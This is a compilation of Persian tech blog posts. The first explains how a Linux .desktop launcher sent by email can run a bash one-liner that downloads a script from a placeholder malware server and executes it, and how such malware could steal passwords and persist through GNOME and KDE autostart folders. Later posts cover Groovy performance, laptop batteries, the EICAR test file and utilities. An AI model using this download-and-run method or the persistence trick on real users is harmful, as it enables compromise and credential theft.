در پست های گذشته، بررسي كرديم كه لينوكس، آن‌‌چنان كه تعريف و تمجيدهايي از آن مي‌شود، داراي معماري قوي نيست، و مي‌توان برنامه‌اي را بدون تاييد كاربر در آن اجرا كرد.

البته اين را هم ذكر كرديم كه اجرا كردن يك برنامه با استفاده از غفلت كاربر، نيازمند تلاش زيادي براي گمراه كردن او و استفاده از عناصر جانبي براي تشويق او به اجراي فايل پيوستي ماست. همچنين بررسي كرديم كه مي‌توان از طريق ايميل، يك فايل سكوي پرتاب ‌(Launcher)‌ براي كاربر ارسال كرد و در آن دستور زير را نوشت: ‌ ‌

 bash -c "curlhttp://www.some_malware_‌ ‌%

‌ server.org/s.py -o /tmp/s.py; python /tmp/s.py"‌

اين دستور چه كار مي‌كند؟ پايانه ‌bash‌ را اجرا مي‌كند، يك عبارت متني با دو دستور ساده درون آن، به اين پايانه ارسال مي‌كند تا آن‌ها را اجرا كند. اولين دستور، ‌CURL‌، اسكريپتي از يك سروري كه مثلا ما ويروسمان را آن‌جا پنهان كرده‌ايم، دريافت مي‌كند و بعد آن را داخل مسير ‌/tmp‌ ذخيره مي‌كند.

توجه كنيد كه در برخي از سيستم‌ها مثل اوبونتو، ‌curl‌ نصب نشده و به‌جاي آن دستور مشابه‌اي با عنوان ‌wget‌ وجود دارد. در واقع، اين تفاوت‌ها كمي كار دستور نويسي را سخت مي‌كند، اما قطعا مشكلي در سر راه به‌حساب نمي‌آيد. ‌ ‌

دستور دوم، كه فراخواني است براي مفسر پايتون، اسكريپت تازه دانلود شده را اجرا مي‌كند. در بيشتر مواقع، پايتون و ‌ curl‌(يا ‌wget)‌ به‌طور پيش‌فرض در توزيع‌هاي لينوكسي نصب هستند. ‌

حالا اگر اين دستور را توي خط ‌exec‌ فايل سكوي پرتاب قرار بدهيم، كافي است كليكي ساده روي آن انجام شود تا دستور ما اجرا شود، دستور ما به دو دستور كوچك‌تر تقسيم مي‌شود كه در نهايت به دريافت و اجراي بدافزاري كه نوشته‌ايم، منجر خواهد شد. ‌ ‌

براي مالكيت، نيازي به ريشه نيست

هيچ كدام از دستورهايي كه گفتيم دسترسي ريشه ‌(Root)‌ نمي‌خواهند. اسكريپت‌ما مي‌تواند هر كاري كه دوست دارد با حساب كاربر بكند. اما كارهايي كه اين اسكريپت توانايي انجامشان را دارد، محدود به دسترسي‌هاي كاربر است. ‌ ‌

مثلا مي‌توانيم دفتر آدرس كاربر را شخم بزنيم، آن‌ها را به سرورمان ارسال كنيم، ايميل بفرستيم يا همين ويروس را با ايميل گسترش دهيم. مي‌توانيم يك وصله فايرفاكس نصب كنيم كه پسوردها را بدزدد. مي‌توانيم بدون آن‌كه كاربر بفهمد، با كمك ‌VNC‌، صفحه ميز كارش را ببينيم و تمام اين كارها را با دسترسي عادي كاربر انجام مي‌دهيم. ‌ ‌

در عموم حالت‌ها هم، كامپيوتر روميزي يك كاربر دارد كه آن يك كاربر معمولا دسترسي‌هايي بسيار شبيه به دسترسي‌هاي ريشه دارد، بنابراين، ميزان صدماتي كه بدافزار ما مي‌تواند وارد كند، بيشتر و بيشتر مي‌شود. ‌ ‌

شروع خودكار بعد از آغاز سيستم

اما بياييد اينطور فكر كنيم كه كاربر از اجراي پردازش‌هاي ناخواسته روي سيستم‌اش مطلع مي‌شود و آن‌ها را مي‌كشد و بعد سيستم را مجدد راه‌اندازي مي‌كند، حالا مي‌خواهيم كاري كنيم كه بعد از بوت هم بدافزار ما اجرا شود. ‌ ‌

با كمك ويژگي ‌autolaunch‌ باز هم نيازي به دسترسي ريشه براي تعيين برنامه‌هاي آغازين سيستم هنگام راه‌اندازي نداريم.

خيلي از برنامه‌ها هستند كه وقتي پوسته‌تان را باز مي‌كنيد، مي‌توانند اجرا شوند. اما بياييد واقع‌بين باشيم، كاربري كه تا آن حد از نظر امنيتي غافل بوده است كه فايل پيوستي ما را باز كند، قطعا در مدت‌هاي طولاني پوسته را باز نخواهد كرد.

ما مي‌خواهيم كاري كنيم كه هر بار كاربر وارد گنوم يا كي‌دي‌ئي شد، برنامه ما هم اجرا شود. در اين‌صورت براي ميزكارهاي گنوم ‌~/.config/autostart‌ و براي ميزكار كي‌دي‌ئي ‌~/.kde/Autostart‌ را ببينيد. تنها كافي است بدافزار ما، يك مدخل هم آن‌جا براي خودش دست و پا كند و در اين‌صورت كاربر به‌طور كامل در اختيار ماست.

همين بود، نوشتن بدافزار اصلي به‌عهده خودتان. باز هم لازم است ذكر كنيم كه اساسا قصد تشويق و يا پشتيباني از بدافزار نويسي را نداريم و به‌شدت چنين كاري را محكوم مي‌كنيم. اما دانستن نقاط ضعف يك چيز، ما را كمك مي‌كند هشيارتر باشيم و بيشتر حواسمان جمع كنيم.

منبع: www.parsviva.com

يكي از مشكلاتي كه برنامه‌نويسان با آن مواجه‌اند ساخت پكيج قابل نصب براي نرم‌افزارهايشان است. برخي از برنامه‌نويسان پكيج‌هاي قابل نصب ساده‌اي را براي برنامه‌هايشان طراحي مي‌كنند اما برخي ديگر به جاي اتلاف وقت زياد و در نهايت نيز ايجاد يك پكيج ساده براي نصب نرم‌افزارشان از برنامه‌هاي مخصوص اين كار همچون 
InstallAware Studio كمك مي‌گيرند. نرم‌افزار  InstallAware Studio  يكي از قدرتمند ترين و مشهور ترين نرم‌افزار‌هاي مخصوص اين كار است. با كمك اين برنامه مي‌توانيد در كمتر از 5 دقيقه حرفه‌اي ترين پكيج‌هاي قابل نصب را براي برنامه‌ها و حتي سايت‌هايتان طراحي كنيد.با استفاده از اين برنامه جديدترين ابزار‌ها و آخرين تكنولوژي‌هاي مورد استفاده در ساخت پكيج‌هاي نصب در اختيار شما قرار مي‌گيرد و مي‌توانيد بدون نياز به يك خط كدنويسي عمليات مورد نظر خود را به انجام برسانيد. امكان تست پكيج ايجاد شده در محيط مجازي نرم‌افزار و مشاهده خطاهاي احتمالي، تغيير در شكل ظاهري پنجره‌هاي به نمايش در آمده هنگام نصب نرم‌افزار، جمع‌آوري چندين ويرايش از نرم‌افزار در قالب يك پكيج نصب و... از امكانات قابل ذكر اين نرم‌افزار است. نسخه نمايشي اين نرم‌افزار از سايت  زير قابل دانلود است.
www.installaware.com 

مساله ايجاد استاندارد، سبب افزايش چشمگير اعتباراين زبان در جامعه برنامه‌نويسان شده است و به نظر مي‌رسد كه برنامه‌نويسان حرفه‌اي در آينده و به مرور زمان سرمايه‌گذاري گسترده‌اي روي آن انجام دهند. در این پست پارس ویوا مي‌خواهيم كارايي ‌(Performance)‌ زبان گرووي را با برخي زبانهاي مشابه مقايسه كنيم. ‌ ‌

آزمايش كارايي كد

بهترين روش براي آزمودن كارايي يك زبان و مقايسه آن با زبانهاي ديگر، نوشتن كد يك پروژه خاص به آن زبانها و مقايسه برخي از پارامترهاي كدها با يكديگر است. اما اينكه كد مورد بحث بايد شامل چه بخش‌هايي باشد، و اينكه چگونه مي‌توان با نوشتن كمترين كد، در كوتاهترين زمان ممكن دو زبان را با يكديگر مقايسه كرد، موضوعي تخصصي است.استيو مك كانل، كه از متخصصان برجسته مهندسي نرم‌افزار است دست كم سه نوع آزمون را براي اين منظور پيشنهاد مي‌كند.

نخستين آزمون عبارت است از ايجاد يك شيء و صدا كردن چند متد درون اين شي. در آزمون دوم مي‌توان آرايه‌هاي يك بعدي و دو بعدي را ايجاد و آنها را مقداردهي كرد و آخرين روش مقايسه دو عدد صحيح با يكديگر است. هر آزمون را حداقل هزار بار و حداكثر صد هزار بار اجرا مي‌كنيم. ‌ ‌

نتايج مقايسه گرووي و جاوا نشان مي‌دهد كه زمان اجراي متدهايي كه از درون دو شي جاوا و گرووي صدا زده مي‌شوند تقريبا يكسان و بسيار بالا است. آرايه‌ها در گرووي سريعتر از جاوا هستند با اين حال در هر دو زبان اين زمان قابل ملاحظه است. مقداردهي به اعداد تقريبا هيچ زماني نمي‌گيرد. ‌ ‌

نتايج اين آزمون‌ها نشان مي‌دهد كه گرووي زماني كه آزمون‌ها تنها يك بار تكرار شوند، كند است، در حالي كه اگر تعداد تكرار آزمون‌ها زياد باشد اين مشكل پيش نمي‌آيد.

دليل اين امر وجود فيلدهاي استاتيك است كه وقتي از يك كلاس گرووي براي اولين بار يك شيء ايجاد مي‌كنيم بايد مقداردهي اوليه شوند. زماني كه آزمون نخست را براي بار اول انجام مي‌دهيم، زمان اجرا بسيار بالاست و سپس اين زمان به ميزان قابل ملاحظه‌اي كاهش مي‌يابد. سپس هنگامي كه اين آزمون را براي هزارمين بار تكرار مي‌كنيم زمان اجرا مانند اولين بار بسيار زياد است. اين نتايج به خوبي مساله را توجيه مي‌كنند.

از سوي ديگر زماني كه تعداد تكرارآزمون‌ها بيش از هزار بار باشد، جاوا تقريبا هزار بار سريعتر از گرووي است و اين مساله در مورد همه آزمون‌ها صدق مي‌كند. ‌ ‌

بهبود در خوانايي، سرعت در توليد كد؟

علاوه بر آزمون‌هاي ياد شده، يكي از مواردي كه در بررسي كارايي كد مورد نظر قرار مي‌گيرد، خوانايي كد است. شيب منحني يادگيري براي برنامه‌نويساني كه به زبان جاوا مسلط باشند كاملا مسطح است و اين به آن معني است كه تفاوت‌هاي قابل ملاحظه‌اي بين دستور زبان اين دو زبان وجود ندارد. از سوي ديگر نوشتن كد به زبان گرووي به مراتب كمتر از نوشتن همان كد به زبان جاوا زمان مي‌گيرد.

به اعتقاد بسياري از برنامه‌نويسان حرفه‌اي خوانايي، قدرت و سرعت توليد كد از جمله عواملي هستند كه در برنامه‌نويسان انگيزه لازم براي استفاده از گرووي بوجود مي‌آورند. ‌در مجموع به‌نظر مي‌رسد كه اگرچه گرووي به‌مراتب كندتر از جاوا است، نتايج آزمون‌هاي انجام‌شده نشان مي‌دهد كه آينده گرووي درخشان است. آزمون ايجاد يكي از اجزاي جاوا ‌ (Java bean)‌نشان مي‌دهد كه حتي اگر صد هزار عدد از اين اجزا را با استفاده از گرووي ايجاد كنيم، زمان اجرا از نيم ثانيه كمتر است.

اگرچه در برنامه‌نويسي واقعي ما هرگز به ايجاد تعداد بسيار زيادي از اجزا نياز نداريم، اما اين موضوع يكي از نقاط قدرت گرووي است كه استفاده از آن را بجاي جاواي عادي بسيار مناسب مي‌كند. نكته مهم ديگر اين است كه گرووي توابع ‌getter‌ و ‌setter‌ را به طور خودكار اجرا مي‌كند. از سوي ديگر، در هر موردي كه كد گرووي از كارايي كافي برخوردار نباشد مي‌توان آن را به سادگي با كد جاوا جايگزين كرد. ‌ ‌

نتايج حاصل از ايجاد يك آرايه و مقداردهي آن نيز بهتر از جاوا است. از سوي ديگر، تاكنون نتايج هيچ‌يك از آزمون‌هاي پيچيده‌تري كه از موضوع بحث ما خارج هستند، موردي را كه حاكي از عدم كارايي گرووي در مقايسه با جاوا باشد نشان نداده است. به اين ترتيب مي‌توان نتيجه گرفت كه جايگزين كردن كد جاوا با كد گرووي در اكثر موارد امكان‌پذير است. ‌

‌مقايسه گرووي با روبي

در آزمون مشابهي پياده‌سازي، سرعت و ميزان مصرف حافظه توسط گرووي با ‌JRuby‌ مقايسه شد. نتايج حاصل از اين مقايسه نشان داد كه در همه موارد فوق بدون استثنا، گرووي بهتر از جي‌روبي عمل مي‌كند.

از دلايلي كه سبب اين برتري مي‌شود اپتيمايز شدن بهتر حلقه‌هاي تكرار در گرووي است. با توجه به اين كه جي‌روبي سريعتر از روبي است و گرووي از هر دو آنها سريعتر است. در مجموع مي‌توان گفت كه در مورد همه زبانهايي كه روي ‌JVM‌ اجرا مي‌شوند، گرووي بيشترين ميزان كارايي را دارد. از آنجايي كه گرووي مي‌تواند كدهاي جاوا را نيز كامپايل و اجرا كند، قدرت مانور بيشتري نسبت به ديگر زبانهاي اين گروه دارد. ضمن اينكه در مواردي كه كارايي آن به هر دليلي افت مي‌كند، مي‌توان آن را با جاوا جايگزين كرد. در حال حاضر گرووي در برخي از بخش‌هاي مرتبط با سخت‌افزار سيستم مانند مكمل‌هاي اعداد، از برخي كاستي‌ها رنج مي‌برد اما با گذشت زمان خلا موجود در اين زبان به سرعت در حال پر شدن است. ‌ ‌

مقايسه گرووي با جايتون

آخرين عضو از خانواده زبانهايي كه روي ماشين مجازي جاوا اجرا مي‌شوند ‌Jython‌ است. اين زبان در واقع يك درگاه براي تبديل كدهاي جاوا به كد پايتون است و كند‌ترين زبان در اين خانواده محسوب مي‌شود. بخشي از اين مشكل ناشي از اين مساله است كه پايتون تفاوت‌هاي قابل ملاحظه‌اي با جاوا دارد. ‌ ‌

مقايسه گرووي با پايتون

در مقايسه با پايتون، گرووي چندان پويا و ديناميك نيست. يك زبان ديناميك زباني است كه بسياري از محاسبات را در زمان اجرا و نه در هنگام كامپايل شدن انجام مي‌دهد. اين امر علاوه بر افزايش سرعت و كارايي برنامه، از بروز برخي از انواع خطاها نيز جلوگيري مي‌كند. از سوي ديگر، در حال حاضر جزييات انجام برخي از محاسبات در گرووي بر برنامه‌نويسان پوشيده است، در حالي كه در ‌Python‌ هيچ چيز پوشيده و مخفي نيست. با اين وجود نقطه قوت گرووي در برابر پايتون، برخورداري از مجموعه گسترده‌اي از كتابخانه‌ها است. در واقع دسترسي گرووي به همه ‌api‌هاي جاوا آن را به‌قدري قدرتمند مي‌سازد كه برخي حتي گرووي را تهديدي براي آينده جاوا مي‌دانند. كارايي گرووي و پايتون در مورد پياده‌سازي متدها و توابع با هم برابري مي‌كند. از ديدگاه مقايسه سرعت گرووي دست كم دو برابر سريعتر از پايتون است. ‌ ‌

مقايسه گرووي با ‌PHP‌

اگرچه اين امر شگفت انگيز به نظر مي‌رسد، اما ‌PHP‌ تنها از جايتون سريعتر است و از همه زبانهاي ديگري كه در مورد آنها صحبت كرديم، از جمله گرووي كندتر است. ‌ ‌

مقايسه بر مبناي اندازه كد

يكي از مسايلي كه بر كارايي كد، سرعت آن و سرعت توسعه كد توسط برنامه‌نويسان اثر مستقيم مي‌گذارد، اندازه كد يا به عبارت ديگر تعداد خطوط كد است. براي آزمودن كارايي زبانها بر مبناي اين معيار، حل يكي از مسايل مشهور برنامه‌نويسي با استفاده از زبانهاي مختلف بررسي شد. اين مساله، مساله ژوزف فلاويوس ناميده مي‌شود.

ژوزف فلاويوس يك تاريخ نگار رومي در قرن اول پس از ميلاد بود. ژوزف و تعدادي سرباز كه جمعا 40نفر بودند در يك غار حبس شده و در محاصره نيروهاي دشمن كه با روم در جنگ بودند قرار داشتند. آنها تصميم گرفتند كه دور يك حلقه بايستند و شروع به شمردن كنند. شمارش از يك آغاز مي‌شد و به 3 ختم مي‌شد و سپس مجددا از يك از سر گرفته مي‌شد.

هر فردي كه شماره3 به او تعلق مي‌گرفت بايد خود را تسليم نيروهاي دشمن مي‌كرد تا جان عده باقيمانده نجات يابد. ژوزف كه نمي‌خواست بميرد در جايي ايستاد كه آخرين نفر نجات يافته باشد. حالت كلي اين مساله اين است كه تعداد سربازان ‌n‌ باشد و سربازان از يك تا ‌n‌ شماره گذاري شوند. هر سرباز ‌K‌ام بايد تسليم دشمن شود. هدف محاسبه شماره آخرين فرد نجات يافته است.

نتايج حاصل از پياده‌سازي كد با زبانهاي مختلف نشان مي‌دهد كه كد جاوا 100 خط و زمان اجراي آن 6/1 ميكرو ثانيه است. كد++ ‌C‌ داراي 124 خط و زمان 3 ميكروثانيه، كد گرووي 81 خط اما زمان اجراي آن 100 ميكرو ثانيه و كد ‌PHP‌ داراي 85 خط با زمان اجراي 593 ميكرو ثانيه است. كدهاي پايتون و روبي به ترتيب 41 و 63 خط بوده و زمان اجراي آنها به ترتيب حدود 630 و 380 ميكرو ثانيه است. به اين ترتيب كد گرووي نسبتا كوتاه و خلاصه اما زمان اجراي آن اندكي طولاني است. به اين ترتيب با تركيب كد جاوا و گرووي مي‌توان به يك سيستم متعادل و كارا دست يافت. ‌

منبع: www.parsviva.com

ويندوزتان دير بارگذاري مي‌شود؟ به قول خودمان رايانه‌تان ذغالي شده است و يك ربع قبل از استفاده مي‌بايد آن را روشن كنيد؟ نمي‌دانيد چه نرم‌افزاري موجب مي‌شود تا ويندوز كند عمل كند؟ نرم‌افزارXP  Boot Log بهترين آناليزگر براي نرم‌افزار‌هاي اجرايي هنگام بوت ويندوز است. اين نرم‌افزار قادر است مدت زمان مورد نياز براي اجراي نرم‌افزار‌هاي مختلف را بررسي كرده و در قالب گزارش‌هاي آماري كاملي آن را در اختيار شما قرار دهد. با استفاده از اين روش مي‌توانيد گزارش‌هاي ارائه شده را چاپ كرده و پس از بررسي آنها نرم‌افزاري كه موجب كند شدن رايانه است را بيابيد.

براي دانلود اين برنامه به سايت  www.greatis.com  مراجعه كنيد.

يكي از مواردي كه معمولا براي كاربران رايانه‌هاي قابل حمل اهميت دارد، ‌ميزان مصرف باتري لپ‌تاپ آنان است. مشكل خالي‌شدن سريع شارژ باتري‌هاي لپ‌تاپ، معمولا راه‌حلي ندارد و روش‌هايي كه براي دوباره تغذيه كردن اين باتري‌ها پيشنهاد مي‌شود، براي بسياري از ما قابل استفاده نيست. راه‌‌هاي گوناگوني وجود دارد كه شما بتوانيد مدت زمان بيشتري را با باتري كار كنيد. تعدادي از اين روش‌ها سخت‌افزاري است، يعني مي‌توانيد از باتري‌هايي با ظرفيت بيشتر يا از يك باتري جانبي براي لپ‌تاپ خود استفاده كنيد.

باتري‌هاي لپ‌تاپ از تعدادي باتري كوچك‌تر تشكيل شده است. معمولا تعداد اين سلول‌ها، نمايانگر ظرفيت باتري است. به‌طور كل، بيشتر باتري‌هاي امروزي در ظرفيت‌هاي 6، 9 و 12 سلول عرضه مي‌شوند. در برخي از لپ‌تاپ‌ها حتي مي‌توان درايو دي‌وي‌دي را از دستگاه جدا كرد و به‌جاي آن باتري ديگري قرار داد. ‌‌مي‌توانيد با رعايت اين نكات، طول عمر آن را افزايش داده و همچنين با يك بار شارژ، زمان روشني بيشتري از باتري‌تان بگيريد. ‌ ‌

تنظيمات غلط

حتما بخش تنظيمات ‌Power‌ كامپيوترتان را چك كنيد كه آيا در بهينه‌ترين حالت صرفه‌جويي در انرژي هست يا نه؟ گزينه‌هاي باتري لپ‌تاپ هم در تنظيمات ‌Power‌ وجود دارد. ويندوز دو حالت كلي براي ‌Power‌ دارد، يكي حالت ‌Portable/laptop‌ كه برق مصرفي را تا حد امكان پايين مي‌آورد و حالت ‌Max Battery‌ كه در آن، تا حداكثر صرفه‌جويي را انجام مي‌دهد، اما در صورت بالارفتن ميزان پردازش شما، ميزان مصرف تغيير نخواهد كرد و جوابگو نخواهد بود.

حالت ‌Max Battery‌ را بايد در موقعيت‌هايي استفاده كنيد كه به حداقل قدرت پردازشي نياز داريد، مثلا هنگامي كه مطلبي را مي‌خوانيد يا در يك جلسه، يادداشت برمي‌داريد. همچنين مي‌توانيد اين تنظيمات را مطابق خاص خودتان تغيير دهيد. ‌ ‌

اجراي برنامه‌هاي سنگين

تماشاي فيلم يا اجراي برنامه‌هاي سنگين براي باتري گران تمام مي‌شود. به‌راحتي مي‌توانيد با ديدن يك فيلم 2 ساعته باتري لپ‌تاپ را تا قطره آخر خالي كنيد. ‌ ‌

تنظيمات نور نمايشگر

بيشترين مصرف‌كننده در لپ‌تاپ، نمايشگر است. با كنترل و كم كردن نور مانيتور، تا جايي كه به چشمتان آسيب‌نزند، مي‌توانيد عمر باتري را افزايش دهيد.

نوع باتري

1– باتري نيكل‌‌كادميوم‌ليتيوم‌يون

بيشتر لپ‌تاپ‌هاي جديد باتري‌هاي ليتيوم‌يون دارند كه بين 300 تا 500 چرخه شارژ و دشارژ را جواب مي‌دهد. اين نوع باتري‌ها از اين‌كه به‌طور كامل شارژ خود را خالي كنند، اصلا خوشحال نمي‌شوند و همواره بايد مدنظر داشت كه پيش از اتمام كامل باتري، آن را مجدد شارژ كرد.به‌نظر مي‌رسد دما بر عمر اين باتري‌ها تاثيرگذار باشد. توليدكنندگان باتري‌هاي ليتيوم‌يون معتقدند كه عمر اين باتري‌ها بين 2 تا 3 سال خواهد بود. بيشتر باتري‌هاي ليتيوم‌يون به‌خاطر در معرض گرما بودن، بيشتر از شارژ و دشارژ شدن عمر خود را از دست مي‌دهند.

2– باتري‌هاي مبتني بر نيكل

نيكل‌كادميوم و نيكل‌هيدريد آهن، برخلاف باتري‌هاي ليتيومي، بهتر است به‌طور كامل دشارژ شود و بعد دوباره مجدد شارژ شود. اگر باتري‌هاي نيكلي پيش از شارژ دوباره، دشارژ نشوند در اين صورت ميزان حجم قابل استفاده باتري كاهش مي‌يابد. ميزان ولتاژ اين باتري‌ها 3 برابر بيشتر از باتري‌هاي ليتيومي است (6/3 ولت در مقابل 2/1 ولت) و همين موضوع باعث مي‌شود اين باتري‌ها كمتر در صنعت دستگاه‌هاي قابل حمل استفاده شوند. اگر لپ‌تاپتان متعلق به بيش از 3‌سال گذشته است، در اين‌صورت احتمالا شما هم از همين نوع باتري‌ها داريد. البته، جداي اين‌كه چه نوع باتري‌اي داشته باشيد، شيوه رفتار شما با باتري مهم است. هر چند هفته يك بار، باتري‌تان را كامل دشارژ و بعد مجدد كامل شارژ كنيد. ‌ ‌

هايبرنت به‌جاي خاموشي مطلق

بسياري از مردم از تفاوت ميان هايبرنت و خاموش كردن لپ‌تاپ‌هايشان باخبر نيستند و معمولا از روش پرمصرف خاموشي براي پايان كار خود با لپ‌تاپ استفاده مي‌كنند. بهتر است اگر گاهي اوقات بيش از 20 دقيقه به لپ‌تاپتان دست نمي‌زنيد، آن‌را هايبرنت كنيد. ‌ ‌

تميز كردن مجاري عبور هوا

همان‌طور كه پيش‌تر گفتيم، كارايي باتري‌هاي لپ‌تاپ با بالارفتن دما كاهش مي‌يابد. تا حدي اين مشكل به مجاري عبور هواي لپ‌تاپ بر مي‌گردد كه قابليت تخليه صحيح گرما را ندارند. مناسب است كه هر چند هفته يك بار اين مجاري را باد بگيريد تا گرد و غبار پاك شده و عبور هوا آسان شود. ‌ ‌

برنامه‌هايي را كه نمي‌خواهيد ببنديد

برنامه‌هايي كه شما استفاده‌اي از آنها نداريد ولي در پشت صحنه در حال اجرا هستند را حتما ببنديد. مثلا نيازي به برنامه‌هاي پيغام‌رسان نداريد ولي آنها اجرا شده‌اند. با بستن اين برنامه‌ها، حافظه اصلي ‌(RAM)‌ را خالي مي‌كنيد و نياز به حافظه جانبي ‌(HDD)‌ براي صفحه‌بندي نيست و به‌همين ترتيب مي‌توانيد در مصرف انرژي صرفه‌جويي كنيد.

دستگاه‌هايي كه به‌درد نمي‌خورند را خاموش كنيد

مي‌توانيد دستگاه‌هاي جانبي خود مثل بلوتوث، واي‌فاي و مادون‌قرمز را، اگر از آنها استفاده نمي‌كنيد، خاموش كنيد، توجه داشته باشيد كه اتصالات ‌USB‌ در حالت باتري مصرف برق بالايي دارند. بنابراين دستگاه‌هاي جانبي‌اي كه با ‌USB‌ كار مي‌كنند را تا حدامكان در حالت باتري به‌كار نبريد.

فناوري اينتل

اگر لپ‌تاپ شما از نسل پردازشگرها سنترينو ‌(Centrino) ‌ يا بعد از آن است، حتما از طريق بايوس ‌‌(BIOS)‌، گزينه ‌SpeedStep Technology‌ را فعال كنيد تا پردازنده‌تان بهينه‌رفتار كند.

از درايوها استفاده نكنيد

به‌علت اين‌كه دستگاه‌هاي جانبي ساختاري مكانيكي دارند، برق مصرفي‌شان نسبت به ديگر قطعات الكترونيكي بالاتر است، از اين‌رو سعي كنيد در حالت باتري، تا حدامكان، از ديسك‌هاي جانبي استفاده نكنيد. همچنين،‌در صورت عدم استفاده از درايو،‌حتما آن‌ها را خالي نگه‌داريد. ‌ ‌

صدا را قطع كنيد

بلندگوهاي لپ‌تاپ خود را در حالت ‌Mute‌ قرار دهيد و از اجراي هرگونه نرم‌افزاري كه با صدا سر و كار دارد تا حدامكان پرهيز كنيد. هيچ گاه از صدا غافل نشويد كه يكي از قاتل‌هاي باتري است. ‌ ‌

به‌روز باشيد

حتما آخرين نسخه بايوس را از توليدكننده لپ‌تاپ خود تهيه و نصب كنيد.

بدانيد چه مي‌خواهيد بكنيد

حالت باتري، يعني حالت محدود. بنابراين پيش از آن‌كه در لپ‌تاپ خود را باز كنيد، از انجام عمليات خود آگاه باشيد كه زمان ارزشمند باتري خود را صرف انديشيدن‌ها نكنيد.

يكپارچه‌سازي منظم ديسك سخت

با يكپارچه‌سازي ‌(Defragmentation)‌ اطلاعات روي ديسك سخت، زمان دستيابي به اطلاعات همواره در حالت بهينه خودش قرار دارد و همين مورد باعث مي‌شود كه هارد دستگاه برق كمتري مصرف كند. يكپارچه‌سازي منظم ديسك‌سخت بيشتر به كساني توصيه مي‌شود كه با لپ‌تاپ بازي مي‌كنند و از ديتابيس استفاده مي‌كنند. ‌

منبع: www.parsviva.com

چرا كه اگر ويروس‌ياب شما به درستي عمل نكند و رايانه‌تان ويروسي شود خودتان با دست خودتان رايانه را به ويروس آلوده كرده‌ايد! براي تست ويروس‌ياب پيشنهاد مي‌كنيم به روش زير كه آزمايش  Eicar  نام دارد عمل نماييد:

1‌-  روي دسكتاپ خود راست كليك كرده و از بخش  New  گزينه  Text Document   را انتخاب كنيد.

2‌ - روي فايل متني ايجاد شده دو بار كليك كرده و عبارت‌ O!P%AP[4PZX54(P)7CC)7$EICAR5X STANDARD-ANTIVIRUS-TEST- FILE!$H+H* -را به طور دقيق و عينا وارد در آن وارد كنيد.

3‌ - از منوي فايل گزينه  Save as  را انتخاب كرده و در پنجره جديد از بخش  Save as type  گزينه  All files  را انتخاب كنيد.

4‌ - در كادر File Name  عبارت  eicar.com  را وارد كرده و بر روي گزينه  Save  كليك كنيد.

5 -‌ در اين مرحله اگر ويروس‌ياب شما به درستي عمل كند هشداري مبني‌بر وجود ويروس با نام  Eicar  را مشاهده خواهيد كرد. اين فايل در اصل ويروس نيست اما روشي براي تست ويروس‌ياب‌ها و يك ويروس آزمايشي بي‌خطر به حساب مي‌آيد. چنانچه ويروس‌يابتان هيچ پيغامي‌نداد مراقب باشيد! يا تنظيمات ويروس‌ياب را به درستي انجام نداده‌ايد و يا بايد به فكر استفاده از يك ويروس‌ياب قدرتمند و به روز باشيد!

گاهي اوقات برنامه‌نويسان يا طراحان حرفه‌اي در استفاده از صفحه‌نمايش كم مي‌آورند و از دو صفحه‌نمايش براي يك رايانه استفاده مي‌كنند.
كاربران حرفه‌اي نيز گاهي اوقات دسكتاپ كم مي‌آورند و به‌دنبال راهي براي دوبرابر كردن فضاي دسكتاپ خود مي‌گردند.
نرم‌افزار ‌DoubleDesktop‌ ابزاري كوچك، كم‌حجم و قدرتمند است كه قادر است دسكتاپ شما را برايتان نصف كند يعني آن را به دو قسمت تبديل كند اما هر قسمت را نيز در اندازه دسكتاپ اوليه ايجاد مي‌كند.
با اين حساب هم دسكتاپ شما را تقسيم بر دو مي‌كند و هم فضايي كه در اختيار شما قرار مي‌دهد را دو برابر مي‌كند.
به كمك اين برنامه مي‌توانيد با يك كليك نشانگر ماوس روي آيكون مربوطه يا فشردن كليدهاي تركيبي مرتبط به آن، بين دسكتاپ‌هايتان حركت كنيد و فايل‌ها و اطلاعات مورد نيازتان را روي هر دسكتاپ ذخيره كرده يا آن‌ها را بين دسكتاپ‌ها جا‌به‌جا كنيد. استفاده از اين برنامه كاملا رايگان است و مي‌توانيد نسخه‌اي از آن را با حجم 205 كيلوبايت از سايت زير دريافت كنيد:

http://www.fatfreesoft.com

منبع: www.parsviva.com

تمام كساني كه در صنعت وب فعاليت مي‌كنند، روزبه‌روز بيشتر به اين واقعيت واقف مي‌شوند كه محتويات يك صفحه وب مهمترين بخش آن است، و شماي كلي وب‌سايت نسبت به متن آن اهميت كمتري دارد. باز هم اگر از بهترين و زيباترين جملات براي رساندن مفهوم‌تان به مشتري استفاده كنيد، باز هم اين مساله باقي مي‌ماند كه كدام يك از مطالب وب‌سايت شما، در نظر وي بيشتر بايد جلوه كند. ‌ ‌

نكات اوليه:

اين نكته روشن است كه نبايد از بالاترين محل صفحه بنا را بگذاريد به نوشتن پاراگراف‌هاي متن، يا به‌عبارت ديگر كاربران شما گم مي‌شوند و ديگر تمايل به خواندن را از دست خواهند داد. براي جلوگيري از اين اشكال، معمولا از يك لوگو در بالاي صفحه استفاده مي‌كنند كه با كليك برروي آن به صفحه اصلي بر مي‌گردد و به‌دنبال آن نوار اصلي صفحه و دربرخي موارد عناصر ديگر مانند فيلد جستجو يا فرم ورود نام‌كاربري و رمز عبور قرار مي‌گيرد.

نكته ديگر اين است كه براي اينكه كاربران، دسترسي راحت‌تري به مطالب موردنظرشان داشته باشند، بهتر است يك لينك مستقيم قرار دهيد تا كاربر بتواند با كليك بر روي آن مطالب غيرضروري را رد كند تا مستقيم به مطلب اصلي برسد.اين عناصر به كاربر مي‌فهمانند كه به چه سايتي وارد شده است و به‌سرعت بخش‌هاي اصلي‌كه بتواند به‌آن وارد شود را مشاهده مي‌كند. درست بعد از اين عناصر شما بايد بخش اصلي را قرار دهيد و بعد از آن مطالبي كه از اهميت كمتري برخوردارند. مانند نوار مرور ثانويه، لينك‌هاي اضافي، دكمه‌ها و غيره.

محتويات مي‌توانند مستقل از طرح‌بندي صفحه باشند

به‌كمك تكنيك شناوري در ‌CSS‌ مي‌توان تقريبا هر طرح‌بندي كه تصورش را مي‌كنيد پياده كرد. همانطور كه در مثال‌هايي كه آورده‌ايم، مشاهده خواهيد نمود، دو صفحه درست با يك نشانه‌گذاري ‌HTML‌ وجود دارد (به‌جز يك ‌div‌ اضافي كه در مثال آخر استفاده كرديم.) اما ما طرح‌بندي‌هاي مختلفي از همين نشانه‌گذاري توليد خواهيم كرد و تمام اين‌ها را فقط با سبك‌هاي ‌CSS‌ انجام خواهيم داد.

نشانه‌گذاري ‌HTML‌

‌

‌

